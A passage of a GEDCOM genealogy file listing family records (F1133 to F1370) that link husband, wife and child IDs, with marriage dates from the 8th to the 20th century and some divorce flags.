CHIL @I2408@\n1 CHIL @I2409@\n0 @F1133@ FAM\n1 HUSB @I2406@\n1 WIFE @I2410@\n0 @F1134@ FAM\n1 HUSB @I2411@\n1 WIFE @I2331@\n0 @F1135@ FAM\n1 HUSB @I2412@\n1 WIFE @I2331@\n0 @F1136@ FAM\n1 HUSB @I2413@\n1 WIFE @I2408@\n0 @F1137@ FAM\n1 HUSB @I2414@\n1 WIFE @I2409@\n0 @F1138@ FAM\n1 HUSB @I2418@\n1 WIFE @I2417@\n1 CHIL @I2416@\n1 CHIL @I2420@\n0 @F1139@ FAM\n1 HUSB @I2419@\n1 CHIL @I2418@\n0 @F1140@ FAM\n1 HUSB @I2420@\n1 WIFE @I2421@\n1 CHIL @I2427@\n0 @F1141@ FAM\n1 HUSB @I2420@\n1 WIFE @I2422@\n1 CHIL @I2430@\n1 CHIL @I2431@\n0 @F1142@ FAM\n1 HUSB @I2424@\n1 WIFE @I2425@\n1 CHIL @I2880@\n1 MARR\n2 DATE        1714\n0 @F1143@ FAM\n1 HUSB @I2423@\n1 WIFE @I2882@\n1 CHIL @I2426@\n1 CHIL @I2424@\n1 CHIL @I2507@\n1 MARR\n2 DATE        1680\n0 @F1144@ FAM\n1 HUSB @I2428@\n1 WIFE @I2427@\n1 CHIL @I2429@\n0 @F1145@ FAM\n1 HUSB @I2433@\n1 WIFE @I2432@\n1 CHIL @I2434@\n1 MARR\n2 DATE        1736\n0 @F1146@ FAM\n1 HUSB @I2431@\n1 CHIL @I2432@\n0 @F1147@ FAM\n1 HUSB @I2448@\n1 WIFE @I2614@\n1 CHIL @I2973@\n1 CHIL @I2974@\n1 CHIL @I2975@\n1 CHIL @I139@\n1 CHIL @I205@\n1 CHIL @I138@\n1 CHIL @I1696@\n1 MARR\n2 DATE        1777\n0 @F1148@ FAM\n1 HUSB @I2438@\n1 WIFE @I2439@\n1 CHIL @I1248@\n1 CHIL @I2522@\n1 CHIL @I2523@\n1 MARR\n2 DATE 28 OCT 1533\n0 @F1149@ FAM\n1 HUSB @I2435@\n1 WIFE @I2436@\n1 CHIL @I1614@\n0 @F1150@ FAM\n1 HUSB @I2437@\n1 CHIL @I1438@\n0 @F1151@ FAM\n1 HUSB @I838@\n1 WIFE @I2547@\n1 DIV Y\n1 MARR\n2 DATE  8 SEP 1476\n0 @F1152@ FAM\n1 HUSB @I2442@\n1 WIFE @I2443@\n1 CHIL @I841@\n0 @F1153@ FAM\n1 HUSB @I2444@\n1 WIFE @I2445@\n1 CHIL @I1612@\n0 @F1154@ FAM\n1 HUSB @I1698@\n1 WIFE @I2449@\n1 CHIL @I2901@\n1 CHIL @I2902@\n1 CHIL @I2903@\n1 MARR\n2 DATE        1853\n0 @F1155@ FAM\n1 HUSB @I2450@\n1 CHIL @I2449@\n0 @F1156@ FAM\n1 HUSB @I2451@\n1 WIFE @I2477@\n1 CHIL @I1741@\n1 MARR\n2 DATE        1180\n0 @F1157@ FAM\n1 HUSB @I2464@\n1 WIFE @I2487@\n1 CHIL @I2466@\n1 MARR\n2 DATE    AUG 1315\n0 @F1158@ FAM\n1 HUSB @I2452@\n1 WIFE @I2453@\n1 CHIL @I2469@\n1 CHIL @I1869@\n1 CHIL @I2470@\n1 CHIL @I2471@\n1 CHIL @I2472@\n1 CHIL @I2473@\n1 CHIL @I2474@\n1 MARR\n2 DATE        1115\n0 @F1159@ FAM\n1 HUSB @I2454@\n1 WIFE @I2455@\n1 CHIL @I2452@\n1 DIV Y\n1 MARR\n2 DATE        1072\n0 @F1160@ FAM\n1 HUSB @I2454@\n1 WIFE @I2456@\n1 MARR\n2 DATE        1095\n0 @F1161@ FAM\n1 HUSB @I2457@\n1 WIFE @I2535@\n1 CHIL @I2454@\n1 MARR\n2 DATE        1051\n0 @F1162@ FAM\n1 HUSB @I2458@\n1 WIFE @I2459@\n1 CHIL @I2460@\n1 CHIL @I2457@\n1 CHIL @I2533@\n1 MARR\n2 DATE        1003\n0 @F1163@ FAM\n1 HUSB @I2458@\n1 WIFE @I2461@\n0 @F1164@ FAM\n1 HUSB @I2458@\n1 WIFE @I2462@\n1 DIV Y\n1 MARR\n2 DATE         996\n0 @F1165@ FAM\n1 HUSB @I2463@\n1 CHIL @I2458@\n0 @F1166@ FAM\n1 HUSB @I2467@\n1 CHIL @I1557@\n0 @F1167@ FAM\n1 HUSB @I2468@\n1 CHIL @I2467@\n0 @F1168@ FAM\n1 HUSB @I1869@\n1 WIFE @I2475@\n1 MARR\n2 DATE        1154\n0 @F1169@ FAM\n1 HUSB @I1869@\n1 WIFE @I2476@\n1 CHIL @I2451@\n1 MARR\n2 DATE        1160\n0 @F1170@ FAM\n1 HUSB @I2451@\n1 WIFE @I2478@\n1 DIV Y\n1 MARR\n2 DATE        1193\n0 @F1171@ FAM\n1 HUSB @I2451@\n1 WIFE @I2479@\n1 CHIL @I2480@\n1 DIV Y\n1 MARR\n2 DATE        1196\n0 @F1172@ FAM\n1 HUSB @I2483@\n1 CHIL @I2482@\n0 @F1173@ FAM\n1 HUSB @I2488@\n1 CHIL @I2487@\n0 @F1174@ FAM\n1 HUSB @I2489@\n1 CHIL @I2488@\n0 @F1175@ FAM\n1 HUSB @I2465@\n1 WIFE @I2490@\n1 MARR\n2 DATE        1307\n0 @F1176@ FAM\n1 HUSB @I1743@\n1 WIFE @I2491@\n1 DIV Y\n1 MARR\n2 DATE        1307\n0 @F1177@ FAM\n1 HUSB @I1743@\n1 WIFE @I2492@\n1 MARR\n2 DATE 21 SEP 1322\n0 @F1178@ FAM\n1 HUSB @I1743@\n1 WIFE @I2493@\n1 MARR\n2 DATE    JUL 1325\n0 @F1179@ FAM\n1 HUSB @I2495@\n1 CHIL @I2494@\n1 CHIL @I2520@\n0 @F1180@ FAM\n1 HUSB @I2494@\n1 WIFE @I2496@\n1 CHIL @I2498@\n1 MARR\n2 DATE    JUL 1313\n0 @F1181@ FAM\n1 HUSB @I2494@\n1 WIFE @I2497@\n1 MARR\n2 DATE        1349\n0 @F1182@ FAM\n1 HUSB @I2499@\n1 WIFE @I2500@\n1 CHIL @I2075@\n1 CHIL @I2501@\n1 CHIL @I2502@\n1 CHIL @I2503@\n1 MARR\n2 DATE  8 APR 1350\n0 @F1183@ FAM\n1 HUSB @I2504@\n1 CHIL @I1423@\n0 @F1184@ FAM\n1 HUSB @I740@\n1 WIFE @I2505@\n1 MARR\n2 DATE 18 AUG 1572\n0 @F1185@ FAM\n1 HUSB @I894@\n1 WIFE @I587@\n1 CHIL @I1424@\n1 CHIL @I898@\n1 CHIL @I897@\n1 CHIL @I2506@\n0 @F1186@ FAM\n1 HUSB @I897@\n1 WIFE @I2508@\n1 CHIL @I2509@\n1 CHIL @I2510@\n0 @F1187@ FAM\n1 HUSB @I2511@\n1 WIFE @I1705@\n1 CHIL @I245@\n0 @F1188@ FAM\n1 HUSB @I2513@\n1 WIFE @I2514@\n1 CHIL @I2511@\n0 @F1189@ FAM\n1 HUSB @I2515@\n1 CHIL @I2513@\n0 @F1190@ FAM\n1 HUSB @I2516@\n1 CHIL @I2515@\n0 @F1191@ FAM\n1 HUSB @I2517@\n1 WIFE @I2919@\n1 CHIL @I2516@\n1 CHIL @I2921@\n0 @F1192@ FAM\n1 HUSB @I2498@\n1 WIFE @I2519@\n1 CHIL @I2499@\n1 CHIL @I2518@\n1 MARR\n2 DATE 28 JUL 1332\n0 @F1193@ FAM\n1 HUSB @I2521@\n1 WIFE @I2520@\n0 @F1194@ FAM\n1 HUSB @I2525@\n1 CHIL @I2524@\n0 @F1195@ FAM\n1 HUSB @I2530@\n1 WIFE @I2531@\n1 CHIL @I2532@\n1 CHIL @I440@\n0 @F1196@ FAM\n1 HUSB @I2457@\n1 WIFE @I2536@\n1 CHIL @I2534@\n0 @F1197@ FAM\n1 HUSB @I2537@\n1 WIFE @I2538@\n1 CHIL @I2540@\n1 MARR\n2 DATE 18 DEC 1422\n0 @F1198@ FAM\n1 WIFE @I2539@\n1 CHIL @I2538@\n0 @F1199@ FAM\n1 HUSB @I2540@\n1 WIFE @I2541@\n1 MARR\n2 DATE 24 JUN 1436\n0 @F1200@ FAM\n1 HUSB @I2540@\n1 WIFE @I2542@\n1 CHIL @I2544@\n1 CHIL @I2543@\n1 MARR\n2 DATE 14 FEB 1457\n0 @F1201@ FAM\n1 HUSB @I838@\n1 WIFE @I2548@\n1 CHIL @I2440@\n1 MARR\n2 DATE  8 JAN 1499\n0 @F1202@ FAM\n1 HUSB @I417@\n1 WIFE @I2550@\n1 CHIL @I2551@\n1 CHIL @I2552@\n1 CHIL @I2553@\n1 CHIL @I2554@\n1 MARR\n2 DATE         771\n0 @F1203@ FAM\n1 HUSB @I417@\n1 WIFE @I2555@\n1 MARR\n2 DATE         784\n0 @F1204@ FAM\n1 HUSB @I417@\n1 WIFE @I2556@\n1 MARR\n2 DATE         794\n0 @F1205@ FAM\n1 HUSB @I2552@\n1 WIFE @I2557@\n1 CHIL @I2565@\n0 @F1206@ FAM\n1 HUSB @I2553@\n1 WIFE @I2558@\n1 CHIL @I2560@\n1 CHIL @I2561@\n1 CHIL @I2562@\n1 CHIL @I2563@\n1 MARR\n2 DATE         798\n0 @F1207@ FAM\n1 HUSB @I2553@\n1 WIFE @I2559@\n1 CHIL @I2564@\n0 @F1208@ FAM\n1 HUSB @I2560@\n1 WIFE @I2566@\n1 CHIL @I2567@\n1 CHIL @I2568@\n1 CHIL @I2569@\n0 @F1209@ FAM\n1 HUSB @I2561@\n1 CHIL @I2570@\n0 @F1210@ FAM\n1 HUSB @I2563@\n1 WIFE @I2571@\n1 CHIL @I2572@\n1 CHIL @I2573@\n1 CHIL @I2574@\n0 @F1211@ FAM\n1 HUSB @I2564@\n1 WIFE @I2575@\n1 CHIL @I2576@\n1 CHIL @I2577@\n1 CHIL @I2578@\n1 CHIL @I2579@\n1 MARR\n2 DATE         842\n0 @F1212@ FAM\n1 HUSB @I2576@\n1 WIFE @I2580@\n1 CHIL @I2581@\n1 CHIL @I2582@\n1 MARR\n2 DATE         862\n0 @F1213@ FAM\n1 HUSB @I2576@\n1 WIFE @I2583@\n1 CHIL @I2584@\n0 @F1214@ FAM\n1 HUSB @I2584@\n1 WIFE @I2585@\n1 CHIL @I2604@\n1 MARR\n2 DATE         917\n0 @F1215@ FAM\n1 HUSB @I2567@\n1 WIFE @I2586@\n1 CHIL @I2587@\n0 @F1216@ FAM\n1 HUSB @I2588@\n1 WIFE @I2587@\n1 CHIL @I2589@\n0 @F1217@ FAM\n1 HUSB @I2568@\n1 WIFE @I2590@\n0 @F1218@ FAM\n1 HUSB @I2568@\n1 WIFE @I2591@\n0 @F1219@ FAM\n1 HUSB @I2572@\n1 WIFE @I2592@\n1 CHIL @I2593@\n0 @F1220@ FAM\n1 HUSB @I2593@\n1 WIFE @I2594@\n1 CHIL @I2595@\n1 CHIL @I2596@\n1 CHIL @I2597@\n0 @F1221@ FAM\n1 HUSB @I2598@\n1 WIFE @I2597@\n1 CHIL @I2599@\n0 @F1222@ FAM\n1 HUSB @I2599@\n1 WIFE @I2600@\n1 CHIL @I2601@\n1 CHIL @I2602@\n1 CHIL @I2603@\n0 @F1223@ FAM\n1 HUSB @I2604@\n1 WIFE @I2603@\n1 CHIL @I2605@\n1 CHIL @I2606@\n0 @F1224@ FAM\n1 HUSB @I2605@\n1 CHIL @I2607@\n1 CHIL @I2608@\n0 @F1225@ FAM\n1 HUSB @I2609@\n1 WIFE @I2610@\n1 CHIL @I417@\n1 CHIL @I2611@\n0 @F1226@ FAM\n1 HUSB @I2611@\n1 WIFE @I2612@\n0 @F1227@ FAM\n1 HUSB @I2613@\n1 CHIL @I2609@\n0 @F1228@ FAM\n1 HUSB @I2895@\n1 WIFE @I2896@\n1 CHIL @I2614@\n1 MARR\n2 DATE        1754\n0 @F1229@ FAM\n1 HUSB @I2522@\n1 WIFE @I2615@\n1 CHIL @I2616@\n1 MARR\n2 DATE 26 NOV 1570\n0 @F1230@ FAM\n1 HUSB @I2523@\n1 WIFE @I2617@\n1 MARR\n2 DATE 15 FEB 1575\n0 @F1231@ FAM\n1 HUSB @I1739@\n1 WIFE @I2618@\n1 MARR\n2 DATE        1262\n0 @F1232@ FAM\n1 HUSB @I2464@\n1 WIFE @I2619@\n1 MARR\n2 DATE        1305\n0 @F1233@ FAM\n1 HUSB @I2498@\n1 WIFE @I2620@\n1 MARR\n2 DATE 19 FEB 1350\n0 @F1234@ FAM\n1 HUSB @I493@\n1 WIFE @I2621@\n1 MARR\n2 DATE        1868\n0 @F1235@ FAM\n1 HUSB @I2622@\n1 CHIL @I358@\n0 @F1236@ FAM\n1 HUSB @I2623@\n1 CHIL @I489@\n0 @F1237@ FAM\n1 HUSB @I2624@\n1 WIFE @I499@\n1 MARR\n2 DATE        1864\n0 @F1238@ FAM\n1 HUSB @I498@\n1 WIFE @I2625@\n1 MARR\n2 DATE        1884\n0 @F1239@ FAM\n1 HUSB @I2626@\n1 CHIL @I2625@\n0 @F1240@ FAM\n1 HUSB @I497@\n1 WIFE @I2627@\n1 MARR\n2 DATE        1878\n0 @F1241@ FAM\n1 HUSB @I497@\n1 WIFE @I2628@\n1 MARR\n2 DATE        1892\n0 @F1242@ FAM\n1 HUSB @I2632@\n1 CHIL @I464@\n0 @F1243@ FAM\n1 HUSB @I683@\n1 WIFE @I2633@\n1 MARR\n2 DATE        1878\n0 @F1244@ FAM\n1 HUSB @I2636@\n1 WIFE @I2634@\n1 MARR\n2 DATE        1901\n0 @F1245@ FAM\n1 HUSB @I2636@\n1 WIFE @I2637@\n1 CHIL @I434@\n1 MARR\n2 DATE        1907\n0 @F1246@ FAM\n1 HUSB @I2638@\n1 WIFE @I592@\n1 MARR\n2 DATE        1967\n0 @F1247@ FAM\n1 HUSB @I2639@\n1 WIFE @I593@\n1 MARR\n2 DATE        1972\n0 @F1248@ FAM\n1 HUSB @I430@\n1 WIFE @I2640@\n1 DIV Y\n1 MARR\n2 DATE        1933\n0 @F1249@ FAM\n1 HUSB @I430@\n1 WIFE @I2641@\n1 DIV Y\n1 MARR\n2 DATE        1937\n0 @F1250@ FAM\n1 HUSB @I2644@\n1 WIFE @I2642@\n1 MARR\n2 DATE        1940\n0 @F1251@ FAM\n1 HUSB @I2645@\n1 WIFE @I433@\n1 MARR\n2 DATE        1935\n0 @F1252@ FAM\n1 HUSB @I591@\n1 WIFE @I2646@\n1 DIV Y\n1 MARR\n2 DATE        1935\n0 @F1253@ FAM\n1 HUSB @I591@\n1 WIFE @I2647@\n1 MARR\n2 DATE        1949\n0 @F1254@ FAM\n1 HUSB @I2648@\n1 WIFE @I2635@\n1 MARR\n2 DATE        1906\n0 @F1255@ FAM\n1 HUSB @I2649@\n1 WIFE @I2650@\n1 CHIL @I2648@\n0 @F1256@ FAM\n1 HUSB @I2651@\n1 WIFE @I2652@\n1 CHIL @I1214@\n0 @F1257@ FAM\n1 HUSB @I415@\n1 WIFE @I2653@\n1 MARR\n2 DATE        1790\n0 @F1258@ FAM\n1 HUSB @I1690@\n1 WIFE @I2656@\n1 MARR\n2 DATE        1853\n0 @F1259@ FAM\n1 HUSB @I1690@\n1 WIFE @I2657@\n1 MARR\n2 DATE        1878\n0 @F1260@ FAM\n1 HUSB @I2658@\n1 WIFE @I2659@\n1 CHIL @I1313@\n0 @F1261@ FAM\n1 HUSB @I2660@\n1 WIFE @I2661@\n1 CHIL @I1312@\n0 @F1262@ FAM\n1 HUSB @I2663@\n1 WIFE @I2664@\n1 CHIL @I2662@\n0 @F1263@ FAM\n1 HUSB @I2665@\n1 WIFE @I2667@\n1 MARR\n2 DATE        1856\n0 @F1264@ FAM\n1 HUSB @I2666@\n1 WIFE @I2668@\n1 CHIL @I2669@\n1 CHIL @I2670@\n1 CHIL @I2674@\n1 CHIL @I2675@\n1 CHIL @I2672@\n1 MARR\n2 DATE        1857\n0 @F1265@ FAM\n1 HUSB @I2674@\n1 WIFE @I2673@\n1 MARR\n2 DATE        1900\n0 @F1266@ FAM\n1 HUSB @I2670@\n1 WIFE @I2676@\n1 MARR\n2 DATE        1891\n0 @F1267@ FAM\n1 HUSB @I165@\n1 WIFE @I2678@\n1 CHIL @I2681@\n1 MARR\n2 DATE        1882\n0 @F1268@ FAM\n1 HUSB @I2671@\n1 WIFE @I2679@\n1 CHIL @I2684@\n1 CHIL @I2685@\n1 CHIL @I2686@\n1 MARR\n2 DATE        1884\n0 @F1269@ FAM\n1 HUSB @I2680@\n1 CHIL @I2679@\n0 @F1270@ FAM\n1 HUSB @I2682@\n1 CHIL @I157@\n0 @F1271@ FAM\n1 HUSB @I2683@\n1 CHIL @I589@\n0 @F1272@ FAM\n1 HUSB @I2684@\n1 WIFE @I2687@\n1 MARR\n2 DATE        1911\n0 @F1273@ FAM\n1 HUSB @I2688@\n1 CHIL @I2687@\n0 @F1274@ FAM\n1 HUSB @I2689@\n1 WIFE @I2690@\n1 CHIL @I1295@\n1 MARR\n2 DATE        1753\n0 @F1275@ FAM\n1 HUSB @I2691@\n1 WIFE @I2692@\n1 CHIL @I1299@\n0 @F1276@ FAM\n1 HUSB @I466@\n1 WIFE @I2839@\n1 CHIL @I2693@\n1 CHIL @I2842@\n1 MARR\n2 DATE        1907\n0 @F1277@ FAM\n1 HUSB @I2694@\n1 CHIL @I1828@\n0 @F1278@ FAM\n1 HUSB @I2695@\n1 WIFE @I2696@\n1 CHIL @I607@\n1 MARR\n2 DATE        1879\n0 @F1279@ FAM\n1 HUSB @I2698@\n1 WIFE @I2697@\n1 MARR\n2 DATE        1896\n0 @F1280@ FAM\n1 HUSB @I2702@\n1 WIFE @I2703@\n1 MARR\n2 DATE        1948\n0 @F1281@ FAM\n1 HUSB @I1675@\n1 WIFE @I2704@\n1 MARR\n2 DATE        1968\n0 @F1282@ FAM\n1 HUSB @I2705@\n1 CHIL @I453@\n0 @F1283@ FAM\n1 HUSB @I2706@\n1 WIFE @I2709@\n1 MARR\n2 DATE        1969\n0 @F1284@ FAM\n1 HUSB @I2707@\n1 WIFE @I2710@\n1 MARR\n2 DATE        1973\n0 @F1285@ FAM\n1 HUSB @I2713@\n1 WIFE @I2526@\n1 CHIL @I2714@\n1 CHIL @I2715@\n1 CHIL @I2716@\n1 MARR\n2 DATE 30 JUN 1964\n0 @F1286@ FAM\n1 HUSB @I2717@\n1 WIFE @I2527@\n1 CHIL @I2718@\n1 CHIL @I2719@\n1 CHIL @I2720@\n1 MARR\n2 DATE 25 MAY 1961\n0 @F1287@ FAM\n1 HUSB @I2721@\n1 WIFE @I2528@\n1 CHIL @I2722@\n1 CHIL @I2723@\n1 CHIL @I2724@\n1 MARR\n2 DATE  5 JUN 1964\n0 @F1288@ FAM\n1 HUSB @I2725@\n1 WIFE @I2529@\n1 CHIL @I2726@\n1 CHIL @I2727@\n1 CHIL @I2728@\n1 MARR\n2 DATE 15 JUN 1974\n0 @F1289@ FAM\n1 HUSB @I447@\n1 WIFE @I2730@\n1 MARR\n2 DATE 30 JUL 1961\n0 @F1290@ FAM\n1 HUSB @I448@\n1 WIFE @I2731@\n1 MARR\n2 DATE  7 DEC 1976\n0 @F1291@ FAM\n1 HUSB @I447@\n1 WIFE @I2732@\n1 DIV Y\n1 MARR\n2 DATE        1934\n0 @F1292@ FAM\n1 HUSB @I447@\n1 WIFE @I2733@\n1 CHIL @I2740@\n1 DIV Y\n1 MARR\n2 DATE        1943\n0 @F1293@ FAM\n1 HUSB @I449@\n1 WIFE @I2734@\n1 CHIL @I2742@\n1 CHIL @I2743@\n1 MARR\n2 DATE 19 FEB 1946\n0 @F1294@ FAM\n1 HUSB @I449@\n1 WIFE @I2735@\n1 MARR\n2 DATE 29 SEP 1988\n0 @F1295@ FAM\n1 HUSB @I1409@\n1 WIFE @I2736@\n1 CHIL @I2745@\n1 CHIL @I2746@\n1 CHIL @I2747@\n1 CHIL @I2748@\n1 DIV Y\n1 MARR\n2 DATE 11 MAR 1932\n2 PLAC London,England\n0 @F1296@ FAM\n1 HUSB @I1409@\n1 WIFE @I2737@\n1 CHIL @I2767@\n1 CHIL @I2768@\n1 CHIL @I2769@\n1 MARR\n2 DATE 29 APR 1972\n0 @F1297@ FAM\n1 HUSB @I2738@\n1 WIFE @I2739@\n1 MARR\n2 DATE  8 JUN 1978\n0 @F1298@ FAM\n1 HUSB @I2740@\n1 WIFE @I2741@\n1 MARR\n2 DATE        1976\n0 @F1299@ FAM\n1 HUSB @I2744@\n1 WIFE @I2742@\n1 MARR\n2 DATE        1975\n0 @F1300@ FAM\n1 HUSB @I2749@\n1 WIFE @I2745@\n1 CHIL @I2750@\n1 CHIL @I2751@\n1 CHIL @I2752@\n1 CHIL @I2753@\n1 CHIL @I2754@\n1 MARR\n2 DATE        1955\n0 @F1301@ FAM\n1 HUSB @I2755@\n1 WIFE @I2746@\n1 CHIL @I2756@\n1 CHIL @I2757@\n1 CHIL @I2758@\n1 MARR\n2 DATE        1956\n0 @F1302@ FAM\n1 HUSB @I2747@\n1 WIFE @I2759@\n1 MARR\n2 DATE        1965\n0 @F1303@ FAM\n1 HUSB @I2747@\n1 WIFE @I2760@\n1 CHIL @I2761@\n1 MARR\n2 DATE        1967\n0 @F1304@ FAM\n1 HUSB @I2747@\n1 WIFE @I2762@\n1 CHIL @I2763@\n1 MARR\n2 DATE        1972\n0 @F1305@ FAM\n1 HUSB @I2747@\n1 WIFE @I2764@\n1 CHIL @I2765@\n1 MARR\n2 DATE        1975\n0 @F1306@ FAM\n1 HUSB @I2766@\n1 WIFE @I2748@\n1 MARR\n2 DATE        1967\n0 @F1307@ FAM\n1 HUSB @I2770@\n1 WIFE @I2772@\n1 CHIL @I2773@\n1 CHIL @I2774@\n1 CHIL @I2775@\n1 CHIL @I2776@\n1 CHIL @I2777@\n1 MARR\n2 DATE        1888\n0 @F1308@ FAM\n1 HUSB @I2778@\n1 CHIL @I2772@\n0 @F1309@ FAM\n1 HUSB @I2774@\n1 WIFE @I2779@\n1 CHIL @I2780@\n1 CHIL @I2781@\n1 CHIL @I2782@\n1 MARR\n2 DATE        1915\n0 @F1310@ FAM\n1 HUSB @I2783@\n1 WIFE @I2780@\n1 CHIL @I2784@\n1 CHIL @I2785@\n1 CHIL @I2786@\n1 CHIL @I2787@\n1 CHIL @I2788@\n1 MARR\n2 DATE        1936\n0 @F1311@ FAM\n1 HUSB @I2789@\n1 WIFE @I2784@\n1 CHIL @I2790@\n1 MARR\n2 DATE        1958\n0 @F1312@ FAM\n1 HUSB @I2791@\n1 WIFE @I2785@\n1 CHIL @I2792@\n1 CHIL @I2793@\n1 MARR\n2 DATE        1961\n0 @F1313@ FAM\n1 HUSB @I2794@\n1 WIFE @I2786@\n1 CHIL @I2795@\n1 CHIL @I2796@\n1 MARR\n2 DATE        1970\n0 @F1314@ FAM\n1 HUSB @I2797@\n1 WIFE @I2787@\n1 MARR\n2 DATE        1976\n0 @F1315@ FAM\n1 HUSB @I2781@\n1 WIFE @I2798@\n1 CHIL @I2799@\n1 MARR\n2 DATE        1944\n0 @F1316@ FAM\n1 HUSB @I2800@\n1 WIFE @I2799@\n1 CHIL @I2801@\n1 CHIL @I2802@\n1 MARR\n2 DATE        1970\n0 @F1317@ FAM\n1 HUSB @I2781@\n1 WIFE @I2803@\n1 CHIL @I2804@\n1 CHIL @I2806@\n1 CHIL @I2807@\n1 MARR\n2 DATE        1950\n0 @F1318@ FAM\n1 HUSB @I2805@\n1 WIFE @I2804@\n1 MARR\n2 DATE        1977\n0 @F1319@ FAM\n1 HUSB @I2808@\n1 WIFE @I2782@\n1 CHIL @I2809@\n1 CHIL @I2810@\n1 CHIL @I2811@\n1 MARR\n2 DATE        1948\n0 @F1320@ FAM\n1 HUSB @I2774@\n1 WIFE @I2812@\n1 CHIL @I2813@\n1 MARR\n2 DATE        1937\n0 @F1321@ FAM\n1 HUSB @I2813@\n1 WIFE @I2814@\n1 CHIL @I2815@\n1 CHIL @I2816@\n1 MARR\n2 DATE        1969\n0 @F1322@ FAM\n1 HUSB @I2817@\n1 WIFE @I2775@\n1 MARR\n2 DATE        1918\n0 @F1323@ FAM\n1 HUSB @I2818@\n1 WIFE @I2776@\n1 MARR\n2 DATE        1929\n0 @F1324@ FAM\n1 HUSB @I2777@\n1 WIFE @I2819@\n1 CHIL @I2820@\n1 CHIL @I2821@\n1 CHIL @I2822@\n1 CHIL @I2823@\n1 MARR\n2 DATE        1928\n0 @F1325@ FAM\n1 HUSB @I2821@\n1 WIFE @I2824@\n1 CHIL @I2825@\n1 CHIL @I2826@\n1 CHIL @I2827@\n1 CHIL @I2828@\n1 MARR\n2 DATE        1955\n0 @F1326@ FAM\n1 HUSB @I2830@\n1 WIFE @I2829@\n1 MARR\n2 DATE        1919\n0 @F1327@ FAM\n1 HUSB @I2738@\n1 WIFE @I2831@\n1 CHIL @I2832@\n1 MARR\n2 DATE        1937\n0 @F1328@ FAM\n1 HUSB @I2833@\n1 WIFE @I2832@\n1 CHIL @I2834@\n1 CHIL @I2835@\n1 CHIL @I2836@\n1 CHIL @I2837@\n1 MARR\n2 DATE        1962\n0 @F1329@ FAM\n1 HUSB @I2738@\n1 WIFE @I2838@\n1 MARR\n2 DATE        1954\n0 @F1330@ FAM\n1 HUSB @I2840@\n1 CHIL @I2839@\n0 @F1331@ FAM\n1 HUSB @I2693@\n1 WIFE @I2841@\n1 MARR\n2 DATE        1939\n0 @F1332@ FAM\n1 HUSB @I2843@\n1 WIFE @I2842@\n1 DIV Y\n1 MARR\n2 DATE        1938\n0 @F1333@ FAM\n1 HUSB @I2844@\n1 WIFE @I2842@\n1 DIV Y\n1 MARR\n2 DATE        1949\n0 @F1334@ FAM\n1 HUSB @I465@\n1 WIFE @I2845@\n1 CHIL @I2848@\n1 MARR\n2 DATE        1920\n0 @F1335@ FAM\n1 HUSB @I465@\n1 WIFE @I2846@\n1 MARR\n2 DATE        1929\n0 @F1336@ FAM\n1 HUSB @I2847@\n1 WIFE @I2673@\n1 MARR\n2 DATE        1922\n0 @F1337@ FAM\n1 HUSB @I2848@\n1 WIFE @I2849@\n1 MARR\n2 DATE        1965\n0 @F1338@ FAM\n1 HUSB @I2851@\n1 WIFE @I2850@\n1 MARR\n2 DATE        1749\n0 @F1339@ FAM\n1 HUSB @I2852@\n1 WIFE @I1638@\n1 MARR\n2 DATE        1766\n0 @F1340@ FAM\n1 HUSB @I2853@\n1 WIFE @I1639@\n1 MARR\n2 DATE        1763\n0 @F1341@ FAM\n1 HUSB @I2859@\n1 WIFE @I2858@\n1 MARR\n2 DATE        1680\n0 @F1342@ FAM\n1 HUSB @I2863@\n1 WIFE @I1828@\n1 MARR\n2 DATE        1445\n0 @F1343@ FAM\n1 HUSB @I1468@\n1 WIFE @I2864@\n1 MARR\n2 DATE        1478\n0 @F1344@ FAM\n1 HUSB @I1470@\n1 WIFE @I2865@\n1 CHIL @I1484@\n1 MARR\n2 DATE        1480\n0 @F1345@ FAM\n1 HUSB @I1246@\n1 WIFE @I2875@\n1 MARR\n2 DATE        1802\n0 @F1346@ FAM\n1 HUSB @I1246@\n1 WIFE @I2876@\n1 MARR\n2 DATE        1816\n0 @F1347@ FAM\n1 HUSB @I1246@\n1 WIFE @I2877@\n1 MARR\n2 DATE        1819\n0 @F1348@ FAM\n1 HUSB @I2878@\n1 WIFE @I2879@\n1 CHIL @I1246@\n1 MARR\n2 DATE        1765\n0 @F1349@ FAM\n1 HUSB @I2880@\n1 WIFE @I2881@\n1 CHIL @I2878@\n1 MARR\n2 DATE        1738\n0 @F1350@ FAM\n1 HUSB @I2424@\n1 WIFE @I2883@\n1 MARR\n2 DATE        1701\n0 @F1351@ FAM\n1 HUSB @I2884@\n1 CHIL @I1017@\n0 @F1352@ FAM\n1 HUSB @I2885@\n1 WIFE @I2100@\n1 CHIL @I2894@\n1 CHIL @I871@\n1 MARR\n2 DATE        1496\n0 @F1353@ FAM\n1 HUSB @I840@\n1 WIFE @I2886@\n1 MARR\n2 DATE        1506\n0 @F1354@ FAM\n1 HUSB @I2890@\n1 WIFE @I2887@\n1 MARR\n2 DATE        1490\n0 @F1355@ FAM\n1 WIFE @I2887@\n1 MARR\n2 DATE        1497\n0 @F1356@ FAM\n1 HUSB @I2889@\n1 WIFE @I2892@\n1 MARR\n2 DATE        1497\n0 @F1357@ FAM\n1 HUSB @I2893@\n1 WIFE @I2892@\n1 MARR\n2 DATE        1501\n0 @F1358@ FAM\n1 HUSB @I2891@\n1 WIFE @I2894@\n1 MARR\n2 DATE        1519\n0 @F1359@ FAM\n1 HUSB @I1816@\n1 WIFE @I2894@\n1 MARR\n2 DATE  8 JUL 1530\n0 @F1360@ FAM\n1 HUSB @I2897@\n1 WIFE @I2898@\n1 CHIL @I2448@\n1 MARR\n2 DATE        1749\n0 @F1361@ FAM\n1 HUSB @I2899@\n1 CHIL @I1202@\n0 @F1362@ FAM\n1 HUSB @I2900@\n1 WIFE @I1116@\n1 MARR\n2 DATE        1896\n0 @F1363@ FAM\n1 HUSB @I2904@\n1 WIFE @I2903@\n1 MARR\n2 DATE        1910\n0 @F1364@ FAM\n1 HUSB @I2905@\n1 WIFE @I2902@\n1 MARR\n2 DATE        1881\n0 @F1365@ FAM\n1 HUSB @I2906@\n1 WIFE @I2902@\n1 MARR\n2 DATE        1900\n0 @F1366@ FAM\n1 HUSB @I2907@\n1 WIFE @I2901@\n1 DIV Y\n1 MARR\n2 DATE        1875\n0 @F1367@ FAM\n1 HUSB @I2448@\n1 WIFE @I2908@\n1 MARR\n2 DATE        1776\n0 @F1368@ FAM\n1 HUSB @I139@\n1 WIFE @I206@\n1 MARR\n2 DATE        1832\n0 @F1369@ FAM\n1 HUSB @I1737@\n1 WIFE @I2909@\n1 MARR\n2 DATE        1842\n0 @F1370@ 